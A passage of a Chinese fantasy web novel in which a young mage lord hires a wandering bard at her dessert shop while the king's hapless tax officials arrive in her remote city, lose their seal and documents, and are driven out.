就算最抠门的地精，也干不出这样荒唐的事来。 可以说刚才税务官的提议，多少有点触及到穆特大公的根本利益和权威，直接导致他这颗满是肥油的脑瓜高速运转，空前灵光…… 税务官那双精明的小眼睛飞快地闪动几下，冲穆特大公微微颔首，挤出一丝敷衍的假笑，没有说话。 自始至终，奥菲三世都没有开口。 但沉默不代表没想法。 现在，他对这两个心腹都有点不满。 税务官当着穆特大公的面就提出要加税，太心急，也太粗糙了。 多年前，丹茂王国就通过种种手段彻底清除了神明信仰，现在纯粹是王权和贵族搭建起王国的框架，过分激进只会引发贵族们的不满，进而动摇王国的统治。 这很不好。 而穆特大公正经事干不了一点，打岔却很有一套，也让奥菲三世不太高兴。 毕竟国王的运作全靠各地征收的税款维系，而这些可恶的贵族却总是想方设法逃税，还试图找各种借口征求拨款…… 在奥菲三世看来，跟直接掏他的口袋没什么分别！ 最后，奥菲三世决定派几名有经验的税务官亲自去新阿索城看看，看看哪里是不是真的如传言版复苏，看看那位克劳德家族的后裔是否真的成功跨越了那道虚无缥缈的魔法门槛。 不过在场三个人中，没有一个真正重视云漠的魔法师身份，觉得一定是传言过分夸大了。 或许在他们看来，就算那个姑娘真的觉醒了魔法元素亲和，现在的水平恐怕也相当有限。 要知道，魔法元素亲和天赋虽然少，但并非没有，眼下王城内就能找出几十个来！ 但拥有魔法元素亲和和成为真正的魔法师完全是两码事。 多的是曾经的所谓天才如流星稍纵即逝，终生止步于魔法学徒的大门之前。 从云漠离开王城到现在也不过短短两年，哪怕她是天纵奇才，可一没有资源，二没有老师，克劳德家族也从未出现过魔法师，没有任何可以借鉴的经验，能怎么成长？ 而且如果她真的那么强大，为什么直接不出售魔法道具，短时间内获取最多的资源，而是卖这些所谓的美食。 说得不好听一点，不过就是个高级一点的农民罢了。 【因为云漠个人精力有限，况且现在还没正式热起来，魔法道具沁凉背心的交易仍局限在内部，并未公开。】 农民，呵，一群只知道挥舞锄头和木棍的蠢货们。 奥菲三世在心底发出一声讥笑。 那些愚昧的东西跟牛马没什么区别，贵族们毫不客气地夺走他们的牛羊、粮食，甚至摧残着他们的儿女，也不过换来几声微弱而卑贱的哭泣。 懦夫只会蜷缩在墙角，一遍又一遍承受永无止尽的鞭打，永不敢轻易反抗…… 就像当年的阿索城之乱，那些农民和城市里的普通居民纵然深深地痛恨贵族，不惜用最恶毒的语言咒骂，可最终真正动手的才有几个？ 大部分不都还是流着泪逃走了？ 至于所谓精灵族的友谊，也许精灵族素来对木系魔法师情有独钟，又见她是一个弱小可怜的小女孩，对方勉强释放了一丝友谊…… 但只要那位血腥暴君活着一日，奥菲三世就不认为精灵们真的会毫无芥蒂的与人类，尤其还是阿索城展开全面合作！ 奥菲三世自认为证据非常充分： 点心盒子的包装布确实是精灵族产物，这一点毋庸置疑，但那又如何呢？ 无论布料材质还是花纹图案，都不算上乘，最多不过是占着精灵出品噱头的一般货色而已。 不过还是要派人去看一下。 看新阿索城的商业到底发展到什么程度，年收入能有多少？ 那个小姑娘的魔法天赋到底怎么样，是否需要注意，又是否有改变策略招揽，或提前扼杀的必要？ 一个孤儿而已，想必没什么难度。 税务官不怎么高兴地带着命令下去，着手安排人前往新阿索城，穆特大公却迟迟不肯离去。 直到房间内只剩下他和奥菲三世，他才微微向前欠身，压低了声音说：“她的父母……” 午后的阳光从镶嵌着琥珀和红宝石的金窗框外照进来，斜着洒在光滑的地板上，在墙角处勾勒出大片浓重的阴影。 奥菲三世把视线从窗外的玫瑰园上收回，面无表情看了他一眼，“你的脑袋被蜂蜜糊住了吗？没有人的父母不会死。” 克劳德爵爷和夫人去世跟他们有什么关系？ 蠢货。 一直都防备着王城来人的克劳德领主大人最近很忙： 她被邀请加入“集市治安维护联盟”，发起者是石斧和绿藤。 原本这个联盟没有新阿索城什么事儿，奈何这半年来，新阿索城的领地面积、人口数量、各方面的实力和知名度都在急剧攀升，一派后起新秀的强大势头。 尤其甜品屋经营稳定下来之后，集市营地平常日也常有人出没，年后干脆多了几排房子，几乎都是冲着阿索城的甜品来的，居住者多为职业黄牛。 如果云漠还置身事外，实在有些说不过去。 反正她现在大部分时间就定居在集市营地的托尼树屋上，营地周围的热闹就跟隔壁超市一样，哪怕不特意留心，顺手也就管了。 不过人的名树的影，倒也不用于云漠出什么实质性的劳动： 在这个时代，没人愿意与魔法师为敌。 尤其当这位魔法师的交际非常广，还与性情古怪的精灵们有着密切关联…… 一切都在稳定有序中向前发展，云漠觉得这样的日子棒极了！ 当6月的第一声蝉鸣出现时，她第一次见到了传说中的游吟诗人。 对方出现在一个湿热的午后，穿着浅灰色的长袍，蓬乱的短发随性又潇洒的束在脑后，鬓边还点缀着两朵浅黄色的小花，那瘦削的面庞上挂着浅浅的微笑，一双眼睛格外明亮。 而眼睛的主人正好奇地打量着周围的一切。 她的怀里抱着一把细长的月牙型六弦琴，一边走一边轻轻拨动琴弦，空灵的乐声自她指尖流淌，与低低的吟唱相互交织，宛如夜空中静静蜿蜒的星河。 游吟诗人所到之处，所有人都不自觉停下手中的活儿，安静聆听。 如果遇到熟悉的曲子，有人还会轻声哼唱呢。 各式各样的嗓音在四面八方此起彼伏，如绵绵不绝的海浪，温柔地托起一艘名为游吟诗人的小船，目送它悄然驶来，又将目送它悄然离去。 云漠听了很久，有的能听懂，有的听不懂。 这片大陆上政权林立，已知大大小小的国家就有上百个，通用语也有十数种。 她来到这里两年多，也不过精通包括丹茅王国语、精灵语等在内的4种语言，对其他的有的只会简单的寒暄，有的则狗屁不通。 不过即便如此，也不妨碍云漠领略吟唱之美。 游吟诗人之所以叫诗人，是因为歌曲中大量揉杂了各地的传说见闻，以及某些精准的评论和感慨，而非毫无疑义的呻／吟。 可以说每一名活着的游吟诗人都是一部行走的地方史诗。 而现在这一部史诗正对着云漠坦然微笑，用那一贯低沉沙哑又富有磁性的嗓音说：“日安，尊敬的领主大人，请原谅我的拮据……” 云漠：“……” 第一次见有人把吃霸王餐说得这么委婉。 第70章 帮工 游吟诗人很像后世的专业冒险旅人。 她们四处游荡，不会在固定一个地方停留太久，擅长将所见所闻编写成歌曲传唱，颇具潇洒的流浪文艺气息。 不过游吟诗人也是人，所以大多数时间，阻止她们继续前进的不是有价值的情报和美丽的风景，而是干瘪的钱袋。 赚钱很难，这是公认的事实，很多时候人们并不会因为听几首曲子就付出什么。 你唱你的，我听我的，我逼你唱了吗？ 为了赚钱，大家不得不放低身段，做一些不怎么体面的活计。 战争时期，游吟诗人往往兼具情报贩子职能，一度跟地精抢生意。 所以在很多传唱度颇高的民间歌谣中，反派角色往往由地精担任。 尽管游吟诗人们坚称地精就是如此卑劣又血腥的可恶东西，但很难说这里面没有私人恩怨的成分。 言归正传。 最有价值的信息往往得来不易，这也使得这个职业具有相当的高风险性，所以大部分游吟诗人也具有相当出色的武技，甚至是稀有的魔法天赋。 至少世人皆知的若干知名游吟诗人便是如此。 当然，也有可能是实力不济的那批一早就死光了。 不过显然眼前这位格外不要脸。 自称“灰鸦”的游吟诗人声称前段时间听说阿索城复兴，并且产出几种味道异常美妙的新式点心，十分感动，所以特意赶来见识。 云漠觉得这份“感动”掺杂了不少水分，因为灰鸦的目的地十分明确： 杀入集市后就跟人打听了甜品屋的位置，刚一落座就每种都要了一份。 然后是第二份。 再然后，灰鸦发现自己钱不够了。 她挤出一个故作潇洒的微笑，“或许是在外游荡了太久，我有点儿记不清点心的价格了……” 大意了！ 空气中甜美的香气麻痹了她的神经，食客们松弛的笑脸瓦解了她的意志，竟然忽略了菜单上的价格！ 说起来，菜单上有价格吗？ 灰鸦本就苍白的狡辩渐渐消失在年轻的领主大人的审视之下，眼角也因为心虚而垂落，像一条可怜巴巴的大狗。 迅速而沉默的审视过程中，云漠飞速得出一个又一个结论： 灰鸦说的虽然是周边几个国家的通用语，但仍能听出轻微的口音，说明她大概率不是本地人，甚至在通用语盛行的几个国家待的时间也不久。 那么所谓的“感动”就更无从谈起。 在这个时空外出旅行实在算不上美事，但是这位年青的，至少看上去三十来岁的壮年期游吟诗人，虽然衣服和头发上沾染尘埃，一副风尘仆仆的样子，但近距离也没散发出什么明显的体味，指甲缝隙内也很干净，甚至头发也不算油腻。 显然这是一位不久前刚刚沐浴过，且难得在野外奔波都十分注重个人卫生的女人。 现在已经是六月末，天气可以算得上炎热，户外奔波消耗巨大，如果不能及时补充能量，必然形容狼狈。 但云漠还注意到，灰鸦的嘴唇虽然有些干燥起皮，但眼神却依旧非常清明坚定，开口时也保持着相当的理智和思维逻辑，证明她并没有严重脱水、断粮…… 也就是说，这一路上她都把自己照顾得很好。 考虑到现在的气候状况和整体人类分布情况，显然灰鸦具有相当强悍的身体素质和应对能力，绝不是什么手无寸铁的柔弱文艺青年。 想到这里，云漠的视线落到灰鸦背后。 那里有一个灰色布条包裹的细长条。 作为游吟诗人，按理说六弦琴才是最宝贵的财富，但刚才的用餐过程中，灰鸦分明随手放下了琴，却始终没有解开那个长条。 甚至自始至终，灰鸦都只用右手用餐，左手貌似不经意的垂放在身侧，手指始终徘徊在长布包附近。 如果没有猜错，那应该是一把细剑，云漠想。 “用那个抵账吧。”云漠指着长布包说。 果然，灰鸦的面皮立刻抽搐了下，疯狂摇头，同时将身上所有的口袋都掏了个底儿朝天。 “咕噜噜……” 几枚造型各异、分属不同国度的铜币、贝币先后落下，在藤桌上发出闷响。 店长霍莉伸长脖子看着，撇撇嘴，“我们只收取附近流通的银币和等价的兽皮、粮食、食盐。” 好穷啊！ 灰鸦：“……” 穷就对了！ 我是游吟诗人！又不是宝石贩子！ 云漠啧了声，又指了指她的月牙六弦琴，“那就……” “我可以留下洗盘子！”灰鸦斩钉截铁地抢答，并开始手脚麻利地收拾起餐具来，动作十分娴熟。 显然，在过去的无数个日夜中，她曾用这一招频繁混吃混喝。 说话间，几名身材高挑的精灵进入甜品屋，在门口处投下大片阴影。 从甜品屋的生意稳定下来之后，云漠就很少在营业时间出现，今天难得在这里见到她，精灵们下意识多看了几眼，顺带着将灰鸦收入眼底。 为首的紫叶歪了歪头，翠色长发流水般倾泻，闪亮的眸底有片刻茫然，似乎是某些被时光掩埋的记忆翻滚着跳了出来。 很快，精灵走了过去，“咦，你竟然还没死？” 灰鸦和云漠齐齐回头，前者盯着紫叶看了会儿，发出一声恍然的“啊”，旋即悲愤道：“为什么我一定要死？！” 紫叶眨眨眼。 大约是因为很少有熟悉的人类一直活到战争结束吧。 作为长生种，精灵们的存在就像浩瀚森林中的大树、冷水河畔的巨石一样，早就习惯了安静目睹时光流逝。 一切生老病死在精灵眼中都不过悄然一瞬。 哦…… 云漠摸了摸下巴，迅速对灰鸦的定位做出调整，“刷完之余，你主要负责维持秩序，用餐高峰期再给大家弹个小曲儿、唱点民谣什么的。” 近来甜品屋名气激增，偏偏天气炎热后许多品种不能做了，为争抢日益缩减的零售份额，店铺内外一度出现骚乱。 集市期间尚可以依靠联合巡逻队维持秩序，但现在并非集市，普通居民武力值偏低，就需要云漠这个魔法师偶尔露面…… 不是什么大事，但难免令人烦躁。 能在精灵心中留下痕迹的，必然不是简单人物，只刷盘子可惜了。 “啊？”灰鸦傻眼。 怎么转眼又加活儿了？ 所以我只不过吃了一顿饭，就又要刷又要打又要弹又要唱？ “包吃包住，且新款甜品享受员工内部优惠价。”云漠平静道。 “好的，领主大人！”灰鸦眼底瞬间迸发出炙热的火焰。 完全没有问题！ 紫叶：“……哼！” 多么谄媚的嘴脸！ 真不愧是跟地精打架的族群！ 享受过后世便捷科技和交通的云漠完全无法想象这个时空的游吟诗人平时过的什么日子，但显然灰鸦对一切陌生事物都有着惊人的适应速度。 入职当天，灰鸦磕磕绊绊； 入职次日，灰鸦能熟练背诵全部菜单和特色…… 入职第四天，灰鸦就能一手举着还带着泡沫的盘子从后厨冲出来，另一只手挥舞着神秘的细布包赶走恶意插队的“黄牛”。 入职第六天，云漠过来巡视，正裹着头发扫地的灰鸦朝角落里的一桌人怒了努嘴儿，“税务官。” 对这个群体的到来，云漠早有心理准备，听见倒也不惊讶。 只是…… 无论什么背景，税务相关都算肥差吧，不说养得膘肥体壮，总该有点人样，可那几位，尤其为首的两位，脸颊深深的凹陷进去，稍微有点动作衣服就贴在身上，都能看见清晰的肋骨印儿！ 简直可怜，活脱脱像个难民了！ 不过回忆起当初自己来时遭的罪，还有原主去世的原因，也就没什么不能理解的。 对新阿索城的传言，奥菲三世半信半疑，特意让税务官安排信任的下属亲自前往查明情况。 天气渐渐热起来，阿索城又偏远，中间全是数十年无人维护的烂泥巴路，野兽比人还多，注定了是一项苦差事，谁都不愿意去。 于是税务官推给下属，下属又推给下面的人……最后被推出来的是两个没落的倒霉蛋，一路骂骂咧咧。 马车内部闷热颠簸，上去没一会儿就要被闷个半熟，可骑马又风吹日晒，也不好受。 那两个奉命前来探察的税务官再没落，也没干过重活儿，哪儿受过这样的苦？离开王城第二天就中暑了。 而长时间的颠簸和恶劣的环境进一步加剧了病情，第三天，两个人都开始发烧、上吐下泻，脸比死了三天的尸体还要白。 跟来的四个随从非常担心他们死在路上，曾试图停下休息，并寻找医者治疗。 这种担忧和善举并非因为什么爱意或从属之间的忠诚，单纯只是怕被迁怒。 然而曾经繁华的城镇早已荒废，沿途到处都是荒草丛生的断壁残垣，路上没有任何固定补给点，只偶尔有几处零星的炊烟。 但那些炊烟的主人往往是游民或小型部族，对身穿华丽服饰的王都来人抱有极其强烈的敌意，非但没有帮忙治疗，还有很多人干脆朝马车投掷石块驱逐…… 能活着来到这里，全靠王城带来的几样药材和求生意志。 可即便如此，税务官一行人还是半死不活，来到营地后跟别人高价兑换了几样药剂，又浑浑噩噩睡了几天，这才缓过神来。 为了换取药剂、租赁住处，人生地不熟的税务官一行人还遭遇了扒手，值钱的东西全没了，现在看上去要多落魄有多落魄。 所以云漠就特别好奇，灰鸦到底是怎么发现那几个倒霉催的穷光蛋的身份的。 灰鸦轻描淡写道：“那些人身上的臭味儿，隔着一座村子都闻得到。” 70-80 第71章 身份 两名暴瘦的税务官在店里坐着发懵，故意无视晃来晃去的店员，坚决不点单。 过了会儿，又进来四个穿着打扮稍微简朴一些的，他们满头大汗，脸上又是懊恼，又是气愤，又是茫然。 刚一进来，两名税务官就急切的问：“找到了吗？” 四人面面相觑，整齐地摇了摇头。 两名税务官迅速涨红了脸，低声咒骂起来。 不怪他们恼火。 此刻一行六人正处于极度尴尬的境地：扒手不仅偷去了他们的钱袋和配饰，也顺手摸走了证明身份的官方文书和印章。 那可是国王陛下亲自颁发的印章！ 如果找不回来，简直不敢想象会有什么后果！ 就算不被处死，至少也要被流放！ 恶果来得比想象中更快更猛烈： 得知他们没有能力继续支付房租，刚前还笑容可掬的房东突然变了一副皮相，拉着脸将他们轰了出来。 年长一点的税务官被持续的压力和各种突发状况逼迫得近乎崩溃，几乎当场就要喊：“该死的见鬼，你知道我们是谁吗？我们可是税……” 剩下的话全都消失在房东和周围几名听众带着鄙夷的注视下： 啧，又是一群装有钱的穷鬼！ 自从甜品屋生意火爆之后，不光各国货真价实的王公贵族们前来采购，还有许多落魄的前任贵族以及商人想要借机出风头，换取进入上流社会的门票，中间难免有人虚张声势，大家早就习惯了。 还是几名随从相对有外出的经验，连忙拉住，扛起行囊，半哄半劝地带着长官们离开骚乱中心。 这里可不是秩序井然的王都，而是有名的三不管地带，野蛮犯罪的天堂，从上到下崇尚的只有暴力。 周围绵延数十个小国，接壤的就有近十个，却没有任何一方势力对该地公开宣示拥有主权，为什么？ 而最靠近此地的城池阿索城又荒废数十年，刚刚接手，年轻领主的势力恐怕延伸不到这里。 万一暴露身份，惹恼了这些贱民，吃亏的是自己。 四名随从想得很清楚，他们只是随行公干，每月就那么点薪水，干嘛这么卖命？ 反正干好了也没有他们的功劳。 年长的税务官气到头昏，勉强没有发作。 “去那个该死的甜品屋！” 临走前，他忍不住扭头，恶狠狠地瞪了房东和那几间房子一眼。 该死的贱民！ 这算什么房子！ 只不过是几块土坯和石头临时搭建的篷子而已，别说精致的地毯和银餐具了，甚至连一张像样的床都没有…… 我愿意来住，完全是你的荣幸！竟然还胆敢收钱？ 真是混账！ 两名税务官越想越气，来时路上的病痛折磨以及部分居民毫不掩饰的唾弃、排斥，甚至是石块打在身上的疼痛，统统在此刻翻滚上来，竟意外地让他们生出一点罕见的同仇敌忾。 花样翻新的咒骂迅速回荡在这一片小小的空间。 与此同时，一连串的遭遇不禁让他们对于那位税务大臣有了一点怨气。 因为他们本可以不遭受这些。 正常情况下，无论走到哪里，税务官都该受到优待。 不管多么风光的领主、贵族，只要还想维持身份，就不可能跟王都翻脸，所以一定会想方设法讨好税务官，试图瞒报少报…… 但就因为那位肥头大耳的税务大臣想立功，以新阿索城这边形势不明为由，要求他们先在暗中进行查访，以防有心人瞒报。 不然他们完全可以派随从提前一步过来传话，让当地领主准备好房屋，哪里用得着这么狼狈呢？ 既然阿索城的甜品屋跟精灵族有合作，说不定还会有精美的礼品可拿呢！ 现在好了！ 暗访尚未展开，官方文书都丢了，他们要流落街头了！ 可怕的沉默持续蔓延，令人窒息。 也不知过了多久，其中一名随从才大着胆子问：“大人，我们接下来要怎么办呢？” 刚才他们不仅没有找到税务官丢失的珠宝和印章、文书，而且一名同伴也遭遇了扒手，匕首外壳上的宝石不知什么时候被抠走了…… 考虑到现在税务官们的心情，他们很明智的没有说。 两名税务官的表情非常可怕，死死瞪了他们一眼，没有给出回答。 现在不是集市开放时间，这里各方势力混杂，除人族之外，偶尔还有精灵、半兽人和矮人出没，相当混乱，想找人负责都没出下手！ 那个随从鼓足勇气继续说：“大人，不如就直接向这里的领主表明身份，要求接待吧。” 他虽然只是随从，也没有什么显赫的身份，但一直生活在王城之中，也算体面，平静的生活中从没有过什么波折，这一趟简直把一辈子的罪都提前遭受完了。 两名长官据说曾是贵族出身，现在虽然没落了，但恐怕体验比他们更糟糕。 现在大家被房东赶出来，钱包也没了，最值钱的恐怕只剩下长官们身上的精致织物，下一顿都不知道从哪里去找，还怎么低调行事呢？ 另一名随从则有些担忧，“可是，我们该如何证明身份呢？” 刚才说话的同伴则说：“只要是王国领地，就该纳税，谁敢冒充税务官？” 一个孤女而已，能有多大的胆子？说不定会被吓哭呢！ 说完，他又压低声音，“只要能够顺利进入阿索城，我们就立刻把公文和印章丢失的事情推到她身上去！” 地方领主有义务保护王国使者，在其领地期间发生的一切意外，理应有地方领主承担责任。 两名税务官对视一眼，都看到了彼此眼底疯狂闪动的心动，没有驳斥。 到了现在这个地步，似乎也只能如此了。 随从们松了口气，赶忙召唤店员，抬着下巴说道： “这两位是王都来的税务官，快去告诉你们的领主，让她准备好马车和住处。” 店员满脸茫然地眨眨眼。 什么王都？什么税务官？ 她在这附近活了十多年，可从没纳过税！ 没听过！ 她的懵懂被随从认定为桀骜，声音都放大了，“这里难道不是阿索城的店铺吗？难道你们想违抗国王陛下的命令，偷逃税款？该死的……啊！” 话音未落，灰鸦就挥舞着扫把冲过来，将一行六人掀翻在地，面无表情地推了出去，一边扫一边嘟囔，“啊，好多垃圾啊！” 角落里暗中观察的云漠：“……” 别说六个大活人，就算六头死猪，想要挪动也不并不容易。 但灰鸦仅凭一把扫把就轻而易举地将他们清理出去，还顺手敲个满头包，说没有压箱底的本事，鬼都不信。 两名税务官外加四名随从，高贵的王都成员们都被这一野蛮行径惊呆了，灰头土脸地站在店门外，半天回不过神来。 刚才发生了什么？！ 竟然有人胆敢殴打税务官？！ 两名税务官看上去随时可能晕厥。 他们大病未愈的脸上迅速泛起愤怒的潮红，声音都发抖了，“太可恶了，野蛮、卑劣，没有任何教养……我们应该马上返回王都，将一切禀告国王陛下！” 就连最低贱的店员都这样放肆，那个克劳德家族的新领主也脱不了干系，说不定就是她教唆的，一定是想要造反！ 果然是众神遗弃之所，任何人来到这里都会堕落！ 还收什么税，直接让军队将这里夷为平地吧！ 一名随从立刻前往他们寄存马车的地方，然后很快就带着新的噩耗归来： “大人，马车和马匹都不见了！” 税务官：“……” 因为他们立刻就昏厥过去，所以非常安静。 亲眼目睹了这一切的灰鸦心满意足地拍拍手，扭头看到自家老板后才后知后觉地抓抓头发，“会不会给你惹麻烦？” 她是游吟诗人，向来视麻烦为无物，一个地方待不下去就换一个地方，但这位年轻的领主小姐可不一样。 “您能有这种觉悟，我异常欣慰。”云漠没什么诚意的翻了个白眼，“当然，如果能在动手前请示，我会更感动的。” 灰鸦：“……” 心虚，下次还敢。 “不过也没什么，”云漠用力伸了个懒腰，漫不经心道，“因为我确实想要造反。” 原本还想看看能不能收买，但这伙人高高在上的做派实在令人作呕。 至于对抗王国什么的，啧，阿索城有来过使者吗？有来过税务官吗？ 不知道啊！ 没见过任何信物啊！ 灰鸦：“！！” 我都听见了什么！ 这是我可以听的吗？ 不不不，我可是游吟诗人啊，请务必让我记录下来！ 随着两名税务官的昏厥，王都一行人已经顾不上抖威风，转头又奔着“赤脚医生”那边去了。 据灰杉托尼的观察和转述，两名病患的备用衣物被当作药费抵押出去，恐怕没有赎回的一日了。 那名所谓的医者转手就把精致的王都衣物卖了出去，胡乱煮了一壶黑乎乎的草药应付。 随从们看着黑乎乎的粥状物，止不住的干呕。 “这个，真的能喝吗？” 好臭！ 太臭了！ 凑近了都辣眼睛！ 医者不耐烦地瞪着眼睛，“想喝好的就去甜品屋！” 她曾是附近一座小国的居民，曾在某位拥有木系魔法天赋的药剂师家中……做清洁工作，长期耳濡目染，简单了解了某些药材的功效，就起了歪心眼。 药剂师既受人尊重，又特别赚钱，很难不心动！ 于是她就打着药剂师的幌子外出开药，误打误撞治好了几个，也治坏了几个，正在被通缉中，近期才逃到这一带，结果就撞到这群肥羊。 类似的症状她见得多了，无非就是娇弱的贵族老爷们被气坏了而已，其实只要找个通风凉快的地方休息会儿就好。 但送上门的买卖，谁会往外推呢？ 于是“医者”便慷慨地拔了几株臭草熬煮，被煮入味的罐子也不打算要了。 这种植株气味极其刺激，相当浓烈，平时几乎没有天敌，只有部分野兽吃坏了东西或是消化不良时，才会主动觅食催促。 只要人没死，一定立竿见影！ 果然，一碗浓浓的臭草汁灌下去，两名税务官立刻干呕着醒来，脸都绿了。 随从们马上大呼神奇。 “医者”得意的摆摆手，转头数钱去了。 漫长的夏日彻底蒸熟了一切，哪怕太阳下山，翻滚的空气中仍带着恼人的灼热。 甜品屋表面覆盖着一层十二棱管状藤，内部丰富的水分最大限度调节了温差，连带着屋子周围一带都异常舒适。 每当夜幕降临，甜品屋停止营业，外面的空地上就会聚集起前来乘凉的人群。 灰鸦的到来极大地丰富了人们的夜生活。 第72章 娱乐 星空璀璨，月色皎洁，即便夜晚也相当明亮。 热度渐渐褪去，树林和灌木丛中也亮起星星点点的荧光，那是萤火虫开始活动了。 被人群簇拥的灰鸦轻轻拨动月牙琴，泉水般动听的乐曲从她指尖流淌，人群瞬间安静下来。 “……是谁强占了我们的小羊羔？ 是谁抢走了我们的白面包？ 为何我们辛勤劳作，却还吃不饱？ 啊，那些人啊，那些人的金杯里盛着我们的血，银盘里放着我们的肉……” 低沉的女声中微微带着沙哑，合着清风向四周散开。 这沙哑并不令人讨厌，反而增加了一份独特的岁月沉淀，恰如远处深沉的冷水河，听得人入了迷。 在这一带定居的普通人中，大部分都是曾经的战争受害者后裔，哪怕没有亲身经历过那些惨烈的岁月，可逝去长辈们反复诉说过的生活的困苦一直不曾离去。 所以许多人一听灰鸦的吟唱，眼眶都湿润了。 云漠也从树屋的窗子里探出头来，静静聆听着。 单论歌曲内容，委实有些血腥，营造出一种现实与荒诞交织的癫狂。 像活生生的原始格林童话。 灰杉托尼罕见的沉默了。 它其实不太明白那名游吟诗人到底在唱什么，但这么多人的情绪感染力极强，让它第一次体会到了一种陌生的，沉甸甸的情绪。 一阵微弱的气流掠过，树屋斜上方的枝桠就多了两名精灵，正是银星和紫叶。 银星和紫叶也不进屋，只跟云漠微微颔首示意，然后便斜靠在树枝上，安静聆听起来。 这是云漠第二次见精灵向人类释放堪称友善的气息。 倒也不意外。 相传吟唱这种艺术形式就是自精灵族中传出，后来又经人类不断改进、交流和融合，才发展成为如今的模式。 而人类之中也诞生了一个新职业：游吟诗人。 精灵一向对艺术有着超乎寻常的追求，也乐意与精通艺术的人类交往。 说老实话，若非云漠拥有木系魔法天赋，恐怕会是精灵们最避之不及的一类人： 她唱歌跑调，画画走形！呼吸间都是对艺术的亵渎！ 所以除了属性相吸的木系魔法师之外，最容易博取精灵好感的就是“流浪艺术家”，游吟诗人了。 灰鸦一首歌谣没唱完，这边云漠的树屋枝桠上已经“长”出若干精灵…… 闪亮的精灵们将托尼装点的像极了圣诞树。 另一边，年青一些的税务官率先醒来。 他觉得异常疲惫。 这种疲惫不仅仅来源于肢体的酸痛，更多的还是精神上的打击。 近一个月来的经历就像一场史无前例的噩梦，有种令人恍惚的不真实感。 他仰头看着斑斓璀璨的星空怔怔出神，突然之间什么都不愿想，什么都不愿做了。 不是来下属领地探查吗？怎么就到了现在这个地步！ 好像从离开王都的那一刻起，一切就在朝着无法预知的方向狂奔而去，史前巨兽都拉不回来。 早知道这样，当初死都不来！ 白天燥热，晚上倒是有了点凉风，远处悠扬的歌声随风飘入耳中，断断续续听不真切，税务官随口问是什么声音。 “呃……”随从们面面相觑，都不知该不该说，便随口糊弄，“大人，有点远，我们也听不太清。” 哪儿管得了那么多啊！ 被从屋子里驱逐之后，他们只能暂时安顿在医者提供的草棚内。 夏日倒是不担心着凉，可蚊虫泛滥，嘴巴又毒，现在所有人都满身大包，痒得要死。 税务官心中一股无名火起，也不知哪来的力气，哑着嗓子吼，“听不清就走近点！” 来这里之后做什么什么不顺，现在竟然连随从都敢敷衍自己了！ 正挠蚊子包的随从：“……” 所以您是气疯了吗？ 难道现在面临的最大问题不应该是去留？ 如果想继续执行任务，大家住在哪里，吃什么穿什么？ 或者说在遗失官方凭证的前提下，怎样让克劳德领主相信大家的身份，进而提供支援？ 如果返回，怎么向大臣和陛下交代？ 而且最要命的是没有马车，怎么回王都！ 那可是坐马车都要二十多天的啊！ 片刻后，随从垂头回来禀告，声音出奇平静，“大人，他们在骂你。” 税务官：“……” 自始至终，随从都没有抬头，只盯着自己的脚尖看。 他已经有些破罐子破摔了： 我说什么来着？ 不让你听，不让你听！你偏不听，这下满意了吧？ 税务官们栖身的草棚距离云漠所在的树屋有一段距离，沉醉在灰鸦记忆中的年轻领主对税务官的崩溃一无所知。 一曲过后，人群中传来低低的啜泣声，气氛有些许哀伤。 于是灰鸦又马上换了一首欢乐的民谣。 第一遍时，她用的是东北某个小国的语言，发音非常有特点，虽然大家都听不懂，但节奏明快，洋溢着欢乐的气息，迅速驱散了上一曲的哀伤。 第二遍时，灰鸦就站起身来，换成了附近的通用语，边弹边唱边跳，神采飞扬。 “……山一样多的鹿肉，人一样高的大鱼，一捆捆柴火啊，烧不尽，一筐筐粮食呀，吃不完……” 原来讲的是北国冰封前的最后一次狩猎，当地居民们围着篝火庆祝丰收，准备开启漫长的猫冬时的场景。 吃是所有生物的天性，囤货是根植于人类基因中的爱好，云漠也不例外。 她听得津津有味，大脑不自觉放空，思绪发散出去老远。 粮食啊，新阿索城的居民越来越多，今年又开垦了这么多荒地，一定能有个好收成。 说起来，最近一段时间她领地内的居民人数渐趋稳定，可信仰之力却迎来增长新高峰，一度令她百思不得其解。 现在看着甜品屋前围在灰鸦身边的食客们，云漠脑海中突然灵光一闪： 领地内居民没增加，但回头客多了呀！ 信仰之力是对杰出领袖能力的肯定和反馈，那么……餐饮界领袖也是领袖嘛！ 甜品屋的甜品和正餐同样出色，听说许多贵族家中和嗅觉灵敏的厨师都开始照扒菜单，不仅尝试突破甜品屋的甜品制作壁垒，还有不少人找矮人族定做圆底炒锅呢！ 据说甜品屋的菜品都是这种锅子做出来的，异常鲜美。 食客们跟风的成果如何暂时不得而知，矮人族意外迎来生意高峰则是既定的事实。 因为这件事，矮人们偶尔见到云漠时，态度都特别温和，说话也动听了。 当然，只是说话动听而已，交易时依旧半个铜板也不肯让…… 想到这里，云漠忍不住嘟囔一句，“那些吝啬的家伙！” 亏我还从你们那里订购了那么多农具和炊具呢！ 真是一毛不拔！ 身后的悉悉索索声打断了云漠的回忆，一扭头，就见已经长大不少的小猴子蒲公英扒着窗口，探头探脑往里看。 蒲公英对精灵们又爱又怕，瑟缩着，却还是忍不住斜着眼睛偷瞟。 有点儿可爱。 云漠失笑，招手让它进来，给它水果吃。 “什么事？” 大半夜的，怎么突然跑到这里来了？ 蒲公英一手接了水果，邀功般将另一只手伸到云漠眼前，摊开，毛茸茸的手掌里赫然是一枚银色哑光金属方形印章。 蒲公英一边啃水果，一边瞅她的反应，毛脸上满是得意的神色。 哪儿来的印章？ 云漠拿起来对着光看了眼，短暂的沉默过后，“啊……” 这个花纹，还有上面的字，该不会是那伙倒霉催的税务官的吧？！ “你怎么把这东西偷来了！” 云漠压低嗓子，好气又好笑。 见她没有生气，蒲公英骄傲地挺起胸膛，把水果咬得咔嚓作响。 “不止有这个吧？”云漠把那枚金属印章翻来覆去看了几遍，干脆利落地拿石头把图案砸花。 印章丢失可不是小事，留着证据干嘛？等东窗事发，别人来抓现行吗？ 不过这么一来，那群人还回得去吗？ 饶是立场对立，云漠竟也不禁有点儿心疼，“哈哈哈哈……” 抱歉，实在忍不住。 蒲公英啃水果的动作顿了顿，心虚乱瞟，“吱吱……” 猴儿不知道！ 猴儿没干！ 印章确实不是蒲公英偷的，只是被扒手胡乱丢弃在树林里。 一起被捡到的还有那卷官方文书，猴子们看不懂人类文字，又好奇，难免丢来丢去拉拉扯扯，结果就给撕破了。 小猴子精力旺盛，云漠操纵藤蔓陪它玩儿了会儿，也不知过了多久，夜深了，人困了，灰鸦的歌也唱完了。 听众们陆陆续续打哈欠散去，回住处的路上还在回味着。 